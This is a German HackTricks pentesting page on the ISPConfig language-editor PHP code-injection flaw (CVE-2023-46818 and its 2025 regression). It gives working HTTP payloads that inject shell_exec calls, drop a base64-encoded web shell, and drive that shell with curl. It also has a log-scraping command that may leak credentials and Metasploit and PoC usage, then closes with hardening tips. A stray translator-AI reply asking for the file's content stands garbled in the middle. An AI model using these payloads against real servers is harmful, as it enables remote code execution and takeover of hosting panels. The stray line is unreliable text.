ISPConfig

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Übersicht

ISPConfig ist ein Open-Source-Hosting-Control-Panel. Ältere 3.2.x-Versionen enthielten einen Language-File-Editor, der, wenn er für den Super-Administrator aktiviert war, über einen fehlerhaften Übersetzungseintrag beliebige PHP-Code-Injektion ermöglichte. Dies kann zu RCE im Webserver-Kontext führen und — je nachdem, wie PHP ausgeführt wird — zu einer Privilegienerhöhung.

Wichtige Standardpfade:

  • Das Webroot liegt häufig unter /var/www/ispconfig, wenn es mit php -S oder über Apache/nginx ausgeliefert wird.
  • Die Admin-UI ist über den HTTP(S) vhost erreichbar (manchmal nur an localhost gebunden; bei Bedarf per SSH-Port-Forward weiterleiten).

Tipp: Wenn das Panel lokal gebunden ist (z. B. 127.0.0.1:8080), dann per Port-Forward weiterleiten:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Spracheditor PHP-Code-Injection (CVE-2023-46818)

  • Betroffen: ISPConfig bis 3.2.11 (behoben in 3.2.11p1)
  • Voraussetzungen:
  • Als integriertes Superadmin-Konto admin einloggen (laut Hersteller sind andere Rollen nicht betroffen)
  • Der Spracheditor muss aktiviert sein: admin_allow_langedit=yes in /usr/local/ispconfig/security/security_settings.ini
  • Auswirkung: Ein authentifizierter Admin kann beliebigen PHP-Code injizieren, der in eine Sprachdatei geschrieben und von der Anwendung ausgeführt wird, wodurch RCE im Web-Kontext erreicht wird

References: NVD entry CVE-2023-46818 und der Vendor-Advisory-Link im Abschnitt References weiter unten.

Manueller Exploit-Ablauf

  1. Öffne/erstelle eine Sprachdatei, um CSRF-Token zu erhalten

Sende einen ersten POST, um das Formular zu initialisieren, und lese die CSRF-Felder aus der HTML-Antwort (csrf_id, csrf_key). Beispiel-Request-Pfad: /admin/language_edit.php.

  1. PHP über records[] injizieren und speichern

Sende einen zweiten POST, der die CSRF-Felder und einen bösartigen Übersetzungs-Eintrag enthält. Minimale Probes zur Befehlsausführung:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Out-of-band-Test (ICMP beobachten):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Dateien schreiben und eine webshell ablegen

Verwende file_put_contents, um eine Datei unter einem vom Web erreichbaren Pfad (z. B. admin/) anzulegen:

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Schreibe dann eine einfache webshell, die base64 verwendet, um problematische Zeichen im POST-Body zu vermeiden:

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

Ich kann das übersetzen — bitte füge den Inhalt der Datei src/network-services-pentesting/pentesting-web/ispconfig.md hier ein.

Hinweis: Ich lasse dabei unverändert alle Tags, Links, Pfade und Codeblöcke (gemäß deinen Vorgaben).

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Wenn PHP als root ausgeführt wird (z. B. via php -S 127.0.0.1:8080 gestartet von root), führt dies zu sofortiger root RCE. Andernfalls erhältst du code execution als Webserver-Benutzer.

Regression 2025 (ISPConfig 3.3.0 / 3.3.0p1)

Der Language-Editor-Fehler trat in 3.3.0/3.3.0p1 wieder auf und wurde in 3.3.0p2 behoben. Die Voraussetzungen sind unverändert (admin_allow_langedit und Admin-Login). Der gleiche Patch behebt zudem einen monitor XSS und world-readable rotierte Logs.

Hinweise:

  • Unter 3.3.0/3.3.0p1 können world-readable rotierte Logs unter /usr/local/ispconfig/interface/log/ may leak credentials, wenn Debug-Logging aktiviert war:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
  • Exploit-Schritte stimmen mit CVE-2023-46818 überein; 3.3.0p2 fügt zusätzliche Prüfungen vor dem Bearbeiten der Sprache hinzu.

Python PoC

Ein einsatzbereiter Exploit automatisiert Token-Handling und Payload-Delivery:

Beispielausführung:

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Metasploit module (veröffentlicht Juli 2025)

Rapid7 hat exploit/linux/http/ispconfig_lang_edit_php_code_injection hinzugefügt, das admin_allow_langedit automatisch aktivieren kann, wenn das angegebene Admin-Konto über system-config rights verfügt.

use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run

Das Modul schreibt eine base64-encoded payload durch records[] und führt sie aus, wodurch ein PHP Meterpreter oder custom payload ausgeführt wird.

Härtung

  • Aktualisieren Sie auf 3.2.11p1 oder neuer für das ursprüngliche Problem und auf 3.3.0p2 oder neuer für die Regression von 2025.
  • Deaktivieren Sie den language editor, sofern nicht unbedingt erforderlich:
admin_allow_langedit=no
  • Vermeide, das Panel als root auszuführen; konfiguriere PHP-FPM oder den Webserver so, dass Privilegien herabgestuft werden
  • Erzwinge starke Authentifizierung für das integrierte admin-Konto

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks